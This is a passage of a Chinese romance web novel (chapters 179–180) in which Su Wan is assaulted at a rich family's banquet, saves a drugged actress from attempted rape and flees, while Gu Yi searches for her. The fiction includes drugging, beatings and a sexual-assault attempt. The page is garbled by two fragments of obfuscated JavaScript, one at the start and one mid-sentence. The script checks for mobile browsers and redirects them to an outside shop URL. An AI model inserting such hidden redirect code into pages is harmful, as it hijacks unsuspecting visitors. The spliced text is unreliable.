l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528880|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三两两站在一起,举手投足间都是上层精英人士的气定神闲。 苏琬坐在原地,手心已经微微出汗。 她很紧张,她从来没有来过这种场合,所有相关的社交礼仪她都不懂,在场的所有人她全都不认识。入目所及全是用钱堆砌出的光鲜亮丽,这是一个完全和她无关的社交场,是一个完全和她无关的内部圈层聚会。 她看向一边的谷奕,他正低下头,微微凑到自己耳边,给自己轻声介绍正在讲话的是谁,介绍如果有人来搭话她应该说什么。 他一改往日的无所事事的纨绔子弟形象,此时他对所有东西都驾轻就熟,这是他从小经历了无数遍的场合,他不是不会,只是不想。 苏琬盯着他微微颤动的浓密睫毛发呆,在那一刻她突然意识到,在这种陌生至极的场合中,她之前所有的在自己生活圈子中引以为傲的技能和性格都不再派上用场,她只能完完全全依附于身边的这个男人,并且把自己的一切都交给他。 …… 没过不久就已经有各种各样的年轻男女过来搭话,苏琬知道他们也都是各家名流的继承者们,来找谷奕搭话也是为了社交需求以及利益需要。 谷奕懒懒地回应,对过来想要争取和胜家合作的男人以及不断投射着脉脉含情目光的女人都丝毫没搭理。 只是垂着头,一会儿把玩着苏琬手腕上的银色手链,一会儿捏捏她的手指骨节。 直到有服务生过来弯腰低语,“谷玉董事长在那边等您”,谷奕才慢条斯理抬起头,看见谷玉正远远站在那里,周围还有几个人,全都看着他,似乎都在等他过去。 他眯了眯眼睛,旁边的几个人他似乎有点印象,那个大叔好像是吴氏的董事长?不知道,这些中年男人都长得一样。 还有旁边那个大婶,看上去应该是他老婆。至于中间那个一直盯着他看的年轻女生…… 谷奕眉眼不感兴趣地冷了下来,重新低下头,捏着苏琬的手,懒洋洋跟服务生说:“我不去。” 服务生脸上一脸为难,就差没直接说“您就别玩儿我了”,那边谷玉和其他几人还在一直看着这边的动向,看见谷奕并没有起身的打算,似乎几人脸色都慢慢变得有些不好看了。 苏琬感觉到那几人明显不高兴了,旁边的服务员见到谷奕一直在玩苏琬的手,立刻意识到这位小姐才是劝服谷大少爷的话语权中心,立刻就用极其恳切的目光望着她。苏琬怎么可能接收不到这种信号,于是推推他,“你去吧。” “不去。” “不行,必须去。”苏琬温声道,“他们都在等你。” “我想和你在一起。”谷奕话里带了点自己都没察觉到的撒娇意味。 苏琬抬起手,轻轻摸了摸他的头,前后蹭了一下,贴着他的耳畔说,“去吧。晚上回去,我陪你过生日。” “……”谷奕一下子不动了,几秒之后,嘴角慢慢不受控制地勾起来,“说好了,不准反悔。” 他站起身,最后捏了一下苏琬的脸,随后就立刻挽起了一点袖子,恢复成了那副带着点痞气的样子,迈开长腿朝谷玉的方向走过去。 苏琬一个人孤零零地坐在原地。 她身形瘦削,如今形单影只,从背后望过去,像只落单的天鹅,一个人坐着,孤独落寞。 她右手手肘放在桌面上,撑着自己的脸,低下头,手指在香槟透明的杯壁上滑来滑去。 过了一会,她抬起头,远远看着谷奕那边。 旁边的几人应该是一家人吧?妈妈,爸爸,和女儿。女儿也是某一家的富二代小姐吧?很漂亮,刘海垂下来,长发柔顺,眼睛明亮,像个公主。 谷奕和她站在一起,显得简直太般配,男方高大帅气,女生娇小可爱,家庭门当户对,举止得体,几乎像是天生一对,像是已经订了婚,现在正在双方父母的见证下聊着两位继承者们的婚事,其乐融融期望着这对新人之间的爱情和婚姻还可以为双方家族的生意增色,喜上加喜。 一阵冷气风吹过来,吹过苏琬裸露的肩头,激起一阵鸡皮疙瘩。 她冻得打了个冷战,天花板上昂贵的灯璀璨无比,一股淡淡的酸涩慢慢占据了她整颗心,一点点像是空调冷气一般无孔不入,最后翻天覆地,像是要把她整个人都吞没掉。 179. 第 179 章 空气里好像越来越憋闷,周围人似乎越来越拥挤,一切都在逼着她往外走,逃离这个四四方方金碧辉煌的大房子。 能保持清醒的最后,她起身去了卫生间。 水龙头都是金色的,哗啦啦放着冰冷的水,流到手背的皮肤上,冷意似乎终于让她清醒了很多。 镜子里映出一张光彩照人的脸,很漂亮,却好像怎么也不像她,眼里的陌生让她莫名感到胆战心惊。 谷奕那边结束了吗?会不会在找她?这个想法好像一下子把她拉回现实,明天是谷奕生日啊,自己答应了他要和他一起过的,要是食言,他会很难过的,也许会很委屈地看着自己然后求抱。 苏琬草草收敛了一下情绪,转身就准备回去。 才刚走出来卫生间的大门,迎面就扑上来一个人影,把她用力地往后一撞! 肩膀被那一下猛烈迅速的撞击弄得生疼,她本就瘦弱,这一下直接被撞翻,失去平衡不由自主往后踉跄,后背撞上了坚硬冰冷的墙壁,痛得皱眉,被撞倒在地。 她还没反应过来,紧接着就觉得胸前似乎被泼来一团东西,红酒的酸涩的味道瞬间充盈了整个鼻腔,胸前的绸缎衣料迅速被液体洇湿,冰冰凉凉粘腻沉重,甚至还有几滴红酒直接溅到了她脸上。 “哎呦,不好意思,没注意到有人出来。” “哒哒哒”的高跟鞋声音敲击地面,一双纯黑色的细高跟出现在她眼前,高跟鞋的主人脚腕纤细,皮肤细腻,到处都显露出她不菲的身世。 一道柔和清脆的声音响起来,带着点若有若无的笑意。 “真对不起,把你衣服都弄脏了。这衣服很贵的,你可能靠自己的话一辈子也还不起了。” “……”苏琬已经在这短短几秒钟之内迅速理清了所有情况,她双手撑着地面站起来,和面前的年轻女子四目相对。 “啧,真漂亮啊。红酒溅到脸上也这么漂亮,我见犹怜的。”女子抱着手臂,略略歪头,头顶镶着钻石的银色头饰随着她的动作瞬间闪过一簇亮晶晶的光。 “怪不得能被谷奕看上。” “只是,你想多啦,跟你谈谈恋爱不算什么,把你带过来这种场合也不算什么。人贵有自知之明,你说对吧,苏琬小姐?” 那年轻女子满意地看着眼前苏琬浑身红酒的狼狈样子,放完狠话之后还想欣赏一下她被侮辱之后气愤流泪的样子。 ——却没想到,眼前的人出奇地冷静。 尽管被撞倒泼了一身红酒、几乎今夜之后所有的社交活动都被毁了,但是苏琬神色平静,目光扫过她手上刚刚泼出去的空红酒杯,一把拿过来,转身到水龙头边接了一杯水,随后一把就朝着她的脸泼了过去。 “啊啊啊啊啊——” 那女子尖叫一声,神色惊惶,她瞪着眼睛,不可置信地看着自己脸上滴下来的水,完全不敢相信眼前这个穷人居然敢朝着她的脸泼水! 全毁了!她的妆造,她的限量晚礼服!全都毁了! 她怒气直冲脑袋顶,扬起右手就想毫不犹豫地扇过去——却被眼前瘦弱白皙的女孩一把抓住手腕。 眼前的女孩纤细却透着一股坚韧,直视着她的眼睛,一字一字地说。 “原来有钱人家也就这种教养。” 那女子脸上一下子青青白白,气得满脸通红喘着气,却一句话也说不出来。苏琬松开了她的手腕,转身离开了。 * 走廊的路好像很长,天花板的灯太过耀眼,晃得人眼晕。 苏琬一步步走在走廊上,高跟鞋虽然跟不高但是脚掌已经隐隐透出酸痛。 大厅隐隐约约传来小提琴悠扬的声音,人们穿着高贵精致的衣服,世界像是也给他们打上一层光晕的幕。她垂着头,心头酸酸涩涩被攥紧般的难受也像是胸前这一大片洗不干净的红酒渍,和她本人一样狼狈。 “放开我!放开——唔!唔!” 前方安静的角落,突然传来一声凄惨的女声,可是求救的话还没说完就似乎被捂住嘴,随后响起身体撞击和鞋尖在地面上摩擦的声音。 苏琬浑身一凛,迅速走了过去。 只见无人的昏暗角落里,一个年轻女子被一个黄发男人狠狠按在地上,她挣扎得很厉害,可是她的嘴被身后的男人紧紧捂住,双手也被男人轻而易举地压制在身后。 她头发散乱,死命挣扎,却还是被身后的黄发男人一步步往后拖,眼看着就要被拖到身后的一个房间里。 苏琬的目光和那个女生的目光隔空交汇的那一瞬间。 只一秒钟。 苏琬脑子里轰的一声。 2017年9月,楚门人民路,两个彪形大汉,一辆停在路边的车,怎么也挣脱不开的手臂,以及杨天奇阴骘的笑。 她想也没想就跑上去,抄起旁边一个精致昂贵的花瓶,用力朝着那男人头上砸了过去。 “啊!” 那黄发男人惨叫一声,所有动作都变慢,慢慢松开了禁锢住身下女子的手,往旁边倒去,右手不由自主往后脑勺摸去,结果摸到了一手血。 程玥趴在地上,突然听见一声沉闷的重响,伴随着那男人的惨叫声之外还有什么瓷器碎裂的声音,随后身上的重量一下子轻了下去,紧接着就看见那男人仰躺着倒在了地上,红色的血液糊在冰凉的大理石地板上。 那一刻程玥还没反应过来,突然整个人都被翻了过来,随后就看见一个年轻女孩站在她面前。 胸前的衣服遍布一大片红酒渍,扔了手里砸了一半的花瓶口,弯腰就扯住她的手臂,想把她整个人拉起来。 苏琬喘着气,使劲去拉躺在地上的那个女孩。 可是怎么扯也扯不起来,那女孩似乎浑身一点力气也没有,软绵绵的,完全无法支撑起自己的身体,她在苏琬的帮助下努力尝试却还是没用,哭着对苏琬说:“我被下药了,没力气……” ! 苏琬只觉得像是心头被打了当头一棒。 在胜家集团的酒会上下药,这男人一定是又是一个有背景的二代。刚刚三人动静如此之大,可是都过了这么久还没有看见一个服务生过来,足可见这件事情恐怕早就被打过招呼了,就算叫服务生过来也没有人管。 旁边那黄发男人还有意识,已经慢慢捂着头坐了起来,一边大声叫骂一边就掏出手机想叫人。 一旦他叫人过来,就真的没救了。 苏琬用尽全身力气,把程玥弄到了背上。 程玥体重不重,可是因为浑身没力气,整个人直直地往下坠,苏琬脚掌又开始生疼,高跟鞋像是刑具一样割着皮肤,她瘦弱的身躯一直在抖,跌跌撞撞就背着人往前方大厅的方向跑过去。 只要跑去大厅,就有救了! 谷奕就在那里! 她咬着牙往前一步步快步跑着,可是下一秒,面前大门突然打开,走过来两个壮年男子,满脸横肉,一脸邪气,结结实实挡住了两人的去路。 身后传来之前那黄发男人喘着气的笑声:“坏我好事,你完了。” …… 苏琬整个人都被掀翻在地,后背撞到地板传来尖锐的痛,一个男人朝她压过来,她抬起脚就用力踹向了那人的裆。 “啊——” 一声惨叫响起,那人捂着裤/裆跪了下去,额头冷汗直冒。 苏琬喘着气,还想挣扎着站起来,可是紧接着身后就又被一具高大的身躯死死压住,这下她再也没有还击之力,四肢全部被擒住,被压着趴在地上。 黄发男人一步步走到她面前,蹲下来,抬起右手就一巴掌扇在了苏琬脸上。 “啪——”的一声。 苏琬被打得眼冒金星。 紧接着又是“啪啪”两下,她整个人头晕眼花,脸颊上泛起尖锐刺痛。 “妈的,老子看上个小演员还需要跟谁打招呼?你们公司老板把你们送到这种场合,难道没教你们怎么伺候?装出一副贞洁烈女的样子给谁看!唧唧歪歪的,怎么说都不同意,下了药还不老实!” “还有你!操你大爷的臭婊子!敢坏我好事!你知道我是谁吗!” “妈的,还往我头上砸东西,我看你是活得不耐烦了!你哪家公司的?想救你同事是吧?一个个十八线小演员,不陪睡你们哪来的资源,心里都没点逼数?行,老子今天一次上两个!” “都给我抬进去!” 苏琬被那几巴掌打得整个人都快要晕倒,可是还强撑着咬着牙保持清醒,牙根都酸了,她抬起头,对着黄发男人喊:“你在胜家的酒会上做出这种事,谷奕不会放过你的!” “谷奕”两个字一喊出来。苏琬明显感觉到,黄发男人动作停住了。 “你知道谷奕是谁?” 他怀疑的眼神上下扫过眼前的女孩,长得挺清纯漂亮,他又认真看了一眼,这才发现她身上穿的衣服是当季新款,有几家小姐之前想要都没能得到,最后听说是被谷奕买下了。 这个想法蹦出来,他当下大惊,喘着粗气,审视怀疑的目光在苏琬身上来回扫,简直要把苏琬身上戳一个洞。 他慢慢站起身,掏出手机,对着苏琬拍了一张照片,发了出去。 不过几秒钟,对面马上打了一个电话过来。 “她是谷奕女朋友!” 黄发男人猛地一惊。 “操。”他骂了一句,“不可能!谷奕什么时候有过女朋友!” “他今天第一次带来酒会的!之前一直和他坐一起!你怎么把她给打了!赶紧放了!” 黄发男人咬着牙,“操,我怎么把她打了,她还把我打了呢!妈的,什么女朋友男朋友,这女的家里什么背景?没背景不就是他妈的姘头!真会给自己脸上贴金!” 手机对面还在苦苦相劝,黄发男人却早已忍不住怒火,直接挂断,冷笑着看向面前的苏琬。 “就算你是谷奕的人又怎么样?穷人家的女人,想玩多少玩多少,你真以为他把你当回事?” 他蹲下来,嘴角笑着,“告诉你吧,今天吴氏的千金也来了,她喜欢谷奕是圈子里所有人都知道的事。本来以前谷玉还没什么表示,但是今年胜家经营情况一般,吴氏是再好不过的合作伙伴。我来之前就看见谷奕被谷玉叫过去了,现在两方家长都见了,估计等会就跟吴氏千金订婚了。” 苏琬彻底地愣怔住。 刚刚在大厅里看见的两家人其乐融融的那一幕突然浮现在脑海里。 她的脸突然变得苍白一片,仿佛被冰水从头浇了个透彻,张了张嘴,却什么也说不出来。 铺天盖地的寒意几乎让她浑身颤抖起来。 “至于你?我让他把你送给我,他都同意,你信不信?” 男人眉眼猥琐,嘴里呼出的气一团团喷在苏琬脸上。他扯住苏琬的头发,手指慢慢滑到了她裸露的肩膀上。 窒息感像冰冷的蛇一样缠上来,疼痛感遍布全身,她整个人都如坠冰窟。 “别!放过她!” 旁边响起一声哭喊,程玥被一个男人压在旁边,她眼泪早已经流了满脸。 “不关她的事!求你了放了她吧!” “妈的!闭嘴!”黄发男人被吵得心烦,懒得回应,直接冲两个男人挥挥手,“抬进房间里。” 房间昏暗,一丝亮光都没有,空气里到处都是令人作呕的味道。一墙之隔的走廊外就是光鲜亮丽金光璀璨的宴会大厅,上流人士拿着香槟杯翩翩起舞优雅无比;然而仅仅隔了一条走廊,昏暗的角落却像是最肮胀下 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宴会大厅那么明亮,他还能听见她喊他的名字吗?如果听见了,他会离开他所在的那个高高在上光明耀眼的顶端,转身朝着这个阴暗的角落走来吗? “砰——”的一声,房间门突然被一脚踢开。 苏琬浑身一抖,竭尽全力去看向门口,那个逆光站着的身影。 是他吗? 模模糊糊中,苏琬听见一道熟悉的女声。 “放开她。” 易南希微微喘着气,额角还有汗,显然是循声一间一间找到这里来的。 她装扮精致,长裙翩翩,视线扫过黄发男人,眼里流露出无尽的厌恶。 “还不赶紧滚!”她斥道。 “你他妈谁啊!”易南希逆着光站着,那男人看不清脸,火冒三丈地骂道。 “你说我是谁!”易南希踩着六厘米的高跟鞋,一步步走到他面前,直接照着他的胸口踹了他一脚。 直到看见她的脸的那一瞬间,那男人一下子傻了,“易……易氏银行的易小姐……” 他咬着牙,定在原地,几秒钟之后才低着头,朝着地面啐了一口,骂了一句扫兴。 易南希又嫌恶地朝着他的脸用力踩了一脚,高跟鞋尖锐的细跟划过他的脸,直接撕出了一道口子,把他的脸都踩得往一边偏。 “要我说几遍?” 他跪在地上,咬着牙不吭声受了。 易南希又踩,足足在他脸上踩了三四下。 他才站起来冲着身后那两个大汉一挥手,脸色极其难看地带人出去了。 …… 苏琬听见易南希在打电话。 “带两套衣服过来。” “还有,再带一双高跟鞋。”她满脸厌恶地把脚上刚刚踢过那男人的鞋子给解了下来,直接扔在了房间里。 程玥身上被重新披了一件外套,被两个女服务生扶着出去了。 易南希换上了新的鞋,给苏琬披上一件羊绒毯子,把她扶了起来。 “还好吗。”她脸上有些担忧。 苏琬垂下头,突然说,“可以报警吗?” 她声音嘶哑,脸上全是红色的巴掌印,头发散乱,一身脏污。 易南希闻言沉默了两秒,面色复杂,苦笑一声,“你觉得报警会有用吗?如果想让坏人得到惩罚,不如你直接去找谷奕来得痛快彻底。” 红酒渍已经干涸,胸前衣料粘腻皱成一团。 脚背被高跟鞋刮得生疼,脸上皮肤传来尖锐刺痛。 前方的灯光晃晃悠悠好像是人死之前的走马灯。 苏琬眼里的光彩一点点逝去,在那一刻只觉得好像有什么东西在心里轰地碎裂了。 她是学法律的,她是为了自己枉死的父亲而学法的,可是事已至此她才明白,谁会在乎地上的蝼蚁?正义永远也不会光顾,光明的太阳光从天空中洒落却早已经被屋顶的上层人给全部享有,蝼蚁只能永远低头,忙碌蜿蜒,一刻不停,在低矮坚砾的土地上被人踩死。 她的父亲也是,她自己也是,程玥也是。 就算到了易南希这个阶层,女人的性别也让她无法逃脱这一层层的压迫金字塔。她那么厌恶这个圈子里的所有男人,碰到一下都恨不得把鞋子扔了,但是她却不得不在这个圈子里选一个男人,和他结婚,过风雨无定的一辈子。 * 手机在手包里,而手包也早就在刚刚的混乱里不知遗失到什么地方了。 苏琬失魂落魄地走出了宴会厅,像个无家可归的女鬼。 夏夜的冷风吹来,天上残月寂然无声。 胸前红酒渍已经干涸,原本华丽的礼裙变得脏污一片,脸上还带着红色的巴掌印,一碰就会刺痛。 门口的保安用看见女鬼一般的眼神看着她,被她这浑身狼狈至极的样子吓了一跳,愣在原地又不敢声张,于是就这么呆呆地看着她一步步走出去。 脚腕被磨得生疼,疼痛像是蚂蚁噬咬一般,每走一步都钻心的疼。前方路漫长而没有尽头,半山闲杂车辆无法进入,她提起裙边,像一个女精神病,一步步往山下走去。 宴会厅大楼旁的狭窄楼梯口,欧式装潢繁杂奢侈,一男一女正站在那里,身后是巨大的透明落地窗。 苏琬站在原地,脚像是生根了一样停住。 透过透明的玻璃,她看见,透明落地窗前的昏暗楼梯口,谷奕和一位年轻女孩站在一起。 女孩一下子往前走了几步,伸手抱住谷奕的脖子,踮起脚尖就往他脸上亲过去。 谷奕往后退了几步,两个人往后栽倒,消失在了落地窗之外。 180. 第 180 章 苏琬不知道自己是怎么一步步走下山的。 身无分文,手机也不见了。脚后跟已经被磨出血了,但是她好像无知无觉。 明明已经很努力地去尝试,尝试着这样迷茫地不顾一切地去爱他。可是这件事情是被麻药包裹着的甜蜜陷阱,外层是蜂蜜焦糖,里面却是层层的尖刺,尖刺刺进舌头和口腔,即使用牙齿也咬不碎,一路顺着食道往下割,只留下长长的血口。 她仰起头看向天边,一弯残月挂在天边,周围冷云围绕。 今夜没有流星雨。今夜也寻不到魔都外滩璀璨华丽的霓虹灯。 周围只有漆黑的夜,深沉的山,冷肃的风,以及一个强烈排斥着她的金子打造的四方囚笼。 “止痛药耗尽了。”她喃喃自语道。 * 突然前方传来汽车引擎的轰鸣声,一辆大红色保时捷缓缓停在她面前。 车窗降下来,易南希那张艳丽的脸出现在她眼前。 “去哪。”易南希目光落在她身上,上上下下沉默地看,最终只能叹气般吐出几个字,“我送你。” …… 汽车最终停在了谷奕家郊外的别墅。人下了车,走了进去,没过不久就重新走了出来。穿着干净的衣服,拎着行李箱。 保时捷在高架上一路飞驰,最后停在了魔都机场门口。 易南希的助理已经等在了机场门口,敲敲车窗,弯下腰,恭敬地递过来一部崭新的手机。 “有号码,有流量,可以直接用。” “那个黄头发的男的是Y台副台长的儿子。我刚已经打了几个电话解决了,估计很快他爸就会被踢下去。从此以后媒体行业就没有这个人了。” 眼看着面前的女生接过道谢后就要直接进去,易南希一把拉住了她,“等等!” “你想好了吗?要不先等他回来吧。” 易南希说完这句话又顿住了,随后张了张嘴,似乎是自己都觉得以她的第三者立场讲出这种挽留的话竟然透着一股荒谬的滑稽。 她重新看向眼前的女生。 终于找到她的时候,谷奕不在身边,胸前衣服被人泼了红酒,为了救另外一个小艺人以身涉险,被压在昏暗的房间里,旁边一滩花瓶碎片,淌着不属于她的血。 那么纤细瘦弱的身躯,被排斥、侮辱、驱逐于这个圈子,却还要执着地去拯救别人,执着地去拯救一个和她一样的人。 经历了一个暴风骤雨般的绝望夜晚的浑身狼狈的她,此时竟然出奇地平静,安静地坐在车上,看向窗外,全程都没有说过一句话,就连呼吸都寂静无声。 她像隐入黑夜中的残月,宽大的衣袖被晚风吹起,映出单薄的身躯侧影,衣角褶皱随风晃动,像是下一秒就要随风而去。 易南希突然觉得她脸上那隐隐可见的红色巴掌印极其刺目,刺得易南希眼睛生疼。易南希从一旁车里掏出了三个口罩,塞进了她口袋里。 再多的话也没能说出口,易南希只能这样看着她一个人走进夜色里。 苏琬坐上了飞回云省的飞机。 * 谷奕整场酒会都心不在焉的。 被谷玉叫过去,对面站着吴氏董事长和他的一家老小。 谷奕懒得看这中年男人怎么跟自己妈妈商业互吹的,他修长的手有一搭没一搭晃着手里的香槟,也不说话,偶尔抬起头,看向苏琬的方向。 苏琬就坐在那里,一个人低着头,撑着脸,瘦瘦小小的脸都被手掌压得变形。 他嘴角不自觉勾起来,真可爱。 “谷奕最近在江城读大学?” 吴氏董事长声如洪钟,目光一直落在他身上。 他敷衍地转回身,点点头。 “还真是有缘分啊,我夫人家乡就是江城。小宁小时候也跟着她妈妈在江城生活过好几年。” 旁边的吴倩宁一直盯着谷奕看,见他这漫不经心的样子只觉得更加帅气,两人站得近,她甚至能闻到谷奕身上淡淡的古龙水味,脸上不由得泛起红晕。 谷奕没作声,仰头喝了一口香槟。 谷玉适时开口让大家移步一边的小宴会厅。五人入座包间,菜品单调,恭维客套话乏味,他岔开长腿坐在座位上,一口东西也没吃,低着头给苏琬发消息。 “social中。” “好无聊。” “外面的草莓芝士蛋糕是Odin家的,要尝尝看吗?Odin是周氏旗下的烘焙品牌,味道还不错的,要是你想吃,明天就带你去试试。” “一个人呆着闷吗?要不要出去走走,三楼有游戏厅,我让服务生带你去。” “饿吗?这边只有白人饭和甜品,你前几天是不是说想吃火锅?你再忍忍,等会结束我们去吃夜宵。” “为什么不理我。” “【小狗探头表情包】” “【小狗招手表情包】” “【小狗饿饿表情包】” …… 吴倩宁在席间一直忍不住去偷瞄谷奕。 他低垂着头,黑色短寸衬得眉眼更锋利,额角还有浅浅一道未愈合的小口子。从侧面看过去他的侧脸很好看,骨相立体,下颌线轮廓清晰,头顶的灯光照下来,眼窝处留下一片阴影。 他似乎是在手机上打字。 敲敲打打,像是一直在等消息,眉宇间肉眼可见变得烦躁,眉头拧起来,浑身散发着低气压,岔开长腿,一言不发,盯着手机看。 “谷奕。”谷玉目光落在他身上,提醒道,“给吴叔叔敬个酒。” 谷奕“啪”地一声把手机倒扣在桌面上,站起身,漫不经心举起酒杯,“恭喜发财”,仰头就把一杯红酒全都喝完了。 “站直了!像什么样子!没教过你敬酒吗?”谷玉斥道,吴氏董事长立刻笑眯眯开口,“没事,小孩子,不拘小节,我很欣赏他。” 无聊透顶的一场宴席终于结束,长辈都已离开,谷奕关上手机就要去找苏琬,突然却被吴倩宁拦住。 两人此时站在安静的楼梯拐角处。 大理石柱泛着好看的光泽,周围静悄悄,透明的巨大的落地窗像是西方童话里的公主与王子相会的场景。 吴倩宁红着脸,心一横,迅速走上前几步,在谷奕还没来得及推开她的时候,就冷不丁伸出双手抱住他的脖子,踮起脚尖,吻上了他的脸。 “!” 谷奕眼睛迅速睁大,意识到发生了什么的那一刻之前,长腿就已经迅速往后退了几大步,在吴倩宁的嘴唇要擦上来的一瞬间就极力撇开脸,双手一把推开她。 可是她抱着谷奕的脖子实在太紧,即使推开她两人之间的距离也还是很近,他往后仰倒,吴倩宁也失去平衡,两个人眼看就要双双栽倒。 谷奕咬着牙极力稳住身体,往边上走了几步,一个转身,他踉跄了两步站稳了,而吴倩宁整个人都摔在了地上。 “操!” “你有病啊!” ——其实没亲到。起码还隔着十厘米。 但是谷奕仍然觉得自己脏了,眉头皱得极深,手在脸上用力拍打,蹭了好几下,一双凌厉长眸里泛着怒意。 “操!操!操!你他大爷的……” “啊啊啊!他爹的!你要不要脸啊!谁让你扑过来的!老子有女朋友!” “啊啊啊啊啊!” 他满脸崩溃地大骂,完全控制不住情绪。 地上的女孩已经被他骂出了眼泪,哭得梨花带雨,他心跟石头一样硬,再也不想看到这人一眼,转过身留下一句“滚蛋”就憋着一股火气离开了。 他怒气冲冲地在大厅猛灌了好几杯冰水才把火气压下去,又去洗手间猛地洗脸洗手,几乎要把脸搓破皮。 出来以后打开手机第一反应就是要找苏琬,可是这才发现苏琬居然一直都没有回过任何一条消息,她整个人就像是失踪了。 谷奕心头越来越慌乱。 打电话过去一直无人接听,他一连问了好几个服务生,甚至找到了主管,但是大家都一致回答没有见过她。 他焦躁地站在原地,简直心急如焚。他想问一下其他宾客,可是环顾一圈这才发现,在这整场宴会里,苏琬除了他以外,没有任何熟悉的认识的人,以至于现在找不到她都不知道该问谁。 谷奕立刻去查监控。主管哆哆嗦嗦地告诉他苏琬最后出现的地方是卫生间,再往里面的走廊的摄像头坏了,什么也没拍到。谷奕一把把他踹开,抢过鼠标,坐在电脑椅前就开始一帧一帧地看。 果然下一秒,他就发现了不对。 他看见了易南希最后也消失在了走廊里。 谷奕脑子里一下子闪过什么东西。他刚刚想,这场宴会里,苏琬只认识他一个人,其他任何熟悉的人都没有。 ——不,其实是有的。 在他和苏琬恋爱100天约会的那天,易南希曾经出现在两人面前,当着她的面摆出了一副轻蔑和挑衅的样子,最后还塞进来了一张写了她联系方式的名片。 谷奕猛地站起来,沉重的椅子被突如其来的动作掀得和地板摩擦发出尖锐的声音。他转身就走,掏出手机给欧叔发消息。 “易南希的电话是多少。” 对面很快发过来一串数字,谷奕打过去,没响几声听筒里就传出一道柔媚的女声,还是那个讨厌的腔调。 “你不是说永远不会加我的联系方式吗?”易南希在电话里笑着,“怎么你现在主动给我打电话了?” “少给我废话。”谷奕咬着牙,“你是不是见到苏琬了,她在哪里?” 易南希之前早就被当事人拜托了不要说,于是很信守承诺地耸耸肩,望着夜空中的某一处,语气飘渺,“她在天上。” “……你再浪费时间老子把你送上天!”对面的那位大少爷简直暴躁无比,易南希揉揉快被震聋的耳朵,好心道,“她回家了。现在很平安。” “回家?”电话那边立刻响起窸窸窣窣的起身声,谷奕似乎是在跑,还模模糊糊说着让司机过来,现在立刻回别墅。 “不是你的家。” 易南希平静道。 “是她的家。” 对面的声音一下子停了。 他声音有些嘶哑,像是那一瞬间被攫住喉咙,不祥的预感在那一刻达到顶峰,“什么意思?什么意思!她的家不就是我的家?我的所有东西都是她的!” 他呼吸沉重,喘着气,突然极其愤怒地说:“是不是你?是不是你做的?今天晚上你都做了什么?她为什么会回去?” 易南希默声两秒,然后突然笑了。 “我倒希望是我做的,起码我现在能成功达到目的,省得心里这么难受。你应该知道我多么希望今天和你相亲的是我吧?” 谷奕一阵恶心,直接挂断了电话。 回家?回她的家?难道是……楚门? 谷奕只觉得脑子一阵轰鸣,他不知道发生了什么,到底怎么了? 他突然想起刚刚易南希的话,相亲?是说他和吴氏吗?可是全程吴氏董事长都没有提到任何相关的话,这场宴席和之前的每一场都没区别,唯一的突发情况就只有他家那个女儿突然凑过来要亲他。 难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14550258|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被看到了?被苏琬看到了?相亲,她会觉得今晚他把她晾在一边,然后自己去相亲? 谷奕立刻转身,长腿走得飞快,迎面的风扑到他脸上,他从来没有像现在这样心慌过。 一屁股坐进车里,他冷声说:“回别墅。”然后就在手机上飞快寻找立刻能去江城的机票。 只可惜,最后一班已经没了,之后最近的一班在凌晨六点。他再急切却也只能定了凌晨六点的飞机,看了一眼时间,现在已经是夜晚十一点半。 就在此时,谷玉一个电话打过来,说吴倩宁哭着回去,怎么劝都哄不好,吴氏董事长脸色极其难看地来要说法。 “操!我还没管她要说法呢!她扑过来就要亲我,被我推开了!你转告她,让她以后永远都别出现在我面前!” 谷奕大吼一通把电话挂了,然后把手机设置成了免打扰。烦躁和愤怒的情绪交织纠缠在全身乱窜,他干脆冲前排喊,“不用回别墅了,直接去机场!行李也不用收拾了,老子就等在那!” …… 8月1号,凌晨十二点。 和想象中没有一丝一毫相似,谷奕的21岁生日,就这样乱七八糟地到来了。 他一米八/九的大个子缩在后排车座,整个人都蜷缩成一团,窗外的路灯一闪而过,照在他空洞失焦的眼睛上。 口袋里,一个磨砂绒面的浅紫色的首饰盒,正静静地躺在里面,被他修长的手指紧紧抓住,又无力般松开。 手机里前段时间已经收到了大创项目通过立项的消息,经费到账,他颤抖着手,想这是他人生中凭借自己的努力赚到的第一笔钱。 就像之前6月21号那天要在长城的流星雨下向苏琬表白一样,谷奕这个人就是有大场面综合症,他就是要在最开心的时候把人生中最想对苏琬说的话全部都对她说。 我想和你结婚。不不不,显得很傻。你愿意和我结婚吗?没新意。我的所有钱都是你的。俗气透顶!我想一辈子都和你在一起。这个还勉强可以。 六爪镶十克拉?有点夸张吧,她可能不喜欢戴这种。简约款?不知道的以为他家破产了。莫比乌斯环?像哪吒的乾坤圈。异形?他和珠宝店来回沟通一个多月,最后极其认真地定下了一个弯月的形状。 选了她喜欢的紫色当首饰盒,选了他的21岁生日当天,选了收到人生中第一次凭借自己努力做出来项目成果的好消息的眼下。 沉甸甸的盒子做工精致小巧,一晚上早就已经被他反反复复无意识的紧张触摸而捂得生热,带着他鲜活热烈的体温。 谷奕。他缩成一团,呆滞地想,21岁生日快乐。 * 谷奕几乎一夜未眠。 风尘仆仆到达江城,又一路坐车到了楚门。 刚落地就给黄怀予打了电话,黄怀予像是早知道他会打电话过来一般,给了他苏琬的新电话号码。 到了眼下这一步,谷奕竟然变得胆怯起来。他至今都不知道昨晚到底发生了什么,但是他知道,苏琬一定生气了。不,好像比生气还要严重,她也许是对什么东西心灰意冷了。 这个想法一蹦出来,他立刻就浑身发抖。不不不,不会的,都怪他没有早点推开那个女的,没亲到,真的没亲到!他想苏琬一定只是生气而已,等他见到了苏琬,一定要好好道歉,认真解释,把当时的场景365度重现出来。 电话打过去,却被挂断,随后一条短信发过来。 “楚门市楚港区月亮路831号,爱情美甲美睫。” 